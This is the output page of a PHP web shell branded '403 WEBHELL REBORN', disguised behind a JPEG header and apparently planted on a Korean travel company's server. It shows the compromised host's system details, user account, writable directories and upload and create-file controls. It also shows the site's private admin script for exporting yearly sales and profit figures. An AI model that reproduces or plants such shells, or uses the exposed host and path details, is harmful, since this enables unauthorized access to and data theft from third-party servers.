ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/cal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/cal/year_cal_excel.html
<?
include "../include/top_proc.html";
include "_common.html";

// 접근제한
if($TK_MEMBER['mb_id'] != 'tktravel'){
	echo "
	<script language='javascript'>
		alert('접근이 제한된 메뉴입니다.');
		history.back();
	</script>
	";
	exit;
}

// 파라메터
$period_yy = stripslashes($period_yy);

// 엑셀 파일명 설정 
$FileName = "연간정산내역_".$period_yy."년";
$FileName = $FileName."_".Date("Ymd").".xls";
$FileName = urlencode($FileName); // UTF-8

// 엑셀 파일로 변환 헤더
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=$FileName");
header("Content-Description: PHP4 Generated Data" );

//////////////////////////////////////////////////////////////////////////

// 월간 내역
$data = year_cal_master($period_yy);

// 연간통계
foreach($data as $k => $v){
	$total_year_tour				+= $v['total_tour'];
	$total_year_inwon			+= $v['total_inwon'];
	$total_year_sales			+= $v['total_sales'];
	$total_year_basic			+= $v['total_basic'];
	$total_year_insu				+= $v['total_insu'];
	$total_year_op_sp			+= $v['operate_sp'];
	$total_year_op_mp			+= $v['operate_mp'];
	$total_year_op_surtax		+= $v['operate_surtax'];
	$total_year_op_income	+= $v['operate_income'];
	$total_year_profit			+= $v['total_profit']; // 회사수익
}

?>

<html xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40">
<head>
<meta http-equiv=Content-Type content="text/html; charset=utf-8">
<meta name=ProgId content=Excel.Sheet>
<meta name=Generator content="Microsoft Excel 10">
<style>
<!--
table
  {mso-displayed-decimal-separator:"\.";
  mso-displayed-thousand-separator:"\,";}
@page
  {margin:1.0in .75in 1.0in .75in;
  mso-header-margin:.5in;
  mso-footer-margin:.5in;}
-->
</style>
<!--[if gte mso 9]><xml>
 <x:ExcelWorkbook>
  <x:ExcelWorksheets>
   <x:ExcelWorksheet>
    <x:Name>Sheet1</x:Name>
    <x:WorksheetOptions>
     <x:Print>
      <x:ValidPrinterInfo/>
     </x:Print>
     <x:Selected/>
    </x:WorksheetOptions>
   </x:ExcelWorksheet>
  </x:ExcelWorksheets>
 </x:ExcelWorkbook>
</xml><![endif]-->
<meta http-equiv=Content-Language content=ko>
</head>

<body>

<table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1">
	<colgroup>
		<col style=" width:110px" />
		<col style=" width:80px" />
		<col style=" width:100px" />
		<col style=" width:140px" />
		<col style=" width:110px" />
		<col style=" width:110px"/>
		<col style=" width:110px"/>
		<col style=" width:110px" />
		<col style=" width:110px" />
		<col style=" width:110px" />
		<col style=" width:140px" />
	</colgroup>
	<tr height="35">
		<th align="center" bgcolor="#E7E7E7">년월</th>
		<th align="center" bgcolor="#E7E7E7">행사 수</th>
		<th align="center" bgcolor="#E7E7E7">모객인원</th>
		<th align="center" bgcolor="#E7E7E7">총 매출액</th>
		<th align="center" bgcolor="#E7E7E7">인건비-기본급</th>
		<th align="center" bgcolor="#E7E7E7">인건비-4대보험</th>
		<th align="center" bgcolor="#E7E7E7">인건비-퇴직금</th>
		<th align="center" bgcolor="#E7E7E7">운영비</th>
		<th align="center" bgcolor="#E7E7E7">부가세</th>
		<th align="center" bgcolor="#E7E7E7">소득세</th>
		<th align="center" bgcolor="#E7E7E7">회사수익</th>
	</tr>
<?
foreach($data as $k => $v){
?>
	<tr height="35">
		<td align="center"><?=$period_yy?>년 <?=$k?>월</td>
		<td align="center"><?=number_format($v['total_tour'])?></td>
		<td align="center"><?=number_format($v['total_inwon'])?> 명</td>
		<td align="center"><?=number_format($v['total_sales'])?> 원</td>
		<td align="center"><?=number_format($v['total_basic'])?> 원</td>
		<td align="center"><?=number_format($v['total_insu'])?> 원</td>
		<td align="center"><?=number_format($v['operate_sp'])?> 원</td>
		<td align="center"><?=number_format($v['operate_mp'])?> 원</td>
		<td align="center"><?=number_format($v['operate_surtax'])?> 원</td>
		<td align="center"><?=number_format($v['operate_income'])?> 원</td>
		<td align="center"><b><?=number_format($v['total_profit'])?> 원</b></td>
	</tr>
<?
	}
?>
	<tr style="font-weight:bold;" height="35">
		<td align="center">합계</td>
		<td align="center" style="font-size:14px;" bgcolor="#FFE699"><?=number_format($total_year_tour)?></td>
		<td align="center" style="font-size:14px;" bgcolor="#FFE699"><?=number_format($total_year_inwon)?> 명</td>
		<td align="center" style="font-size:14px;" bgcolor="#FFE699"><?=number_format($total_year_sales)?> 원</td>
		<td align="center" style="font-size:14px;" bgcolor="#FFE699"><?=number_format($total_year_basic)?> 원</td>
		<td align="center" style="font-size:14px;" bgcolor="#FFE699"><?=number_format($total_year_insu)?> 원</td>
		<td align="center" style="font-size:14px;" bgcolor="#FFE699"><?=number_format($total_year_op_sp)?> 원</td>
		<td align="center" style="font-size:14px;" bgcolor="#FFE699"><?=number_format($total_year_op_mp)?> 원</td>
		<td align="center" style="font-size:14px;" bgcolor="#FFE699"><?=number_format($total_year_op_surtax)?> 원</td>
		<td align="center" style="font-size:14px;" bgcolor="#FFE699"><?=number_format($total_year_op_income)?> 원</td>
		<td align="center" style="font-size:16px; color:#F00;" bgcolor="#FFE699"><?=number_format($total_year_profit)?> 원</td>
	</tr>
</table>

</body>
</html>

Anon7 - 2021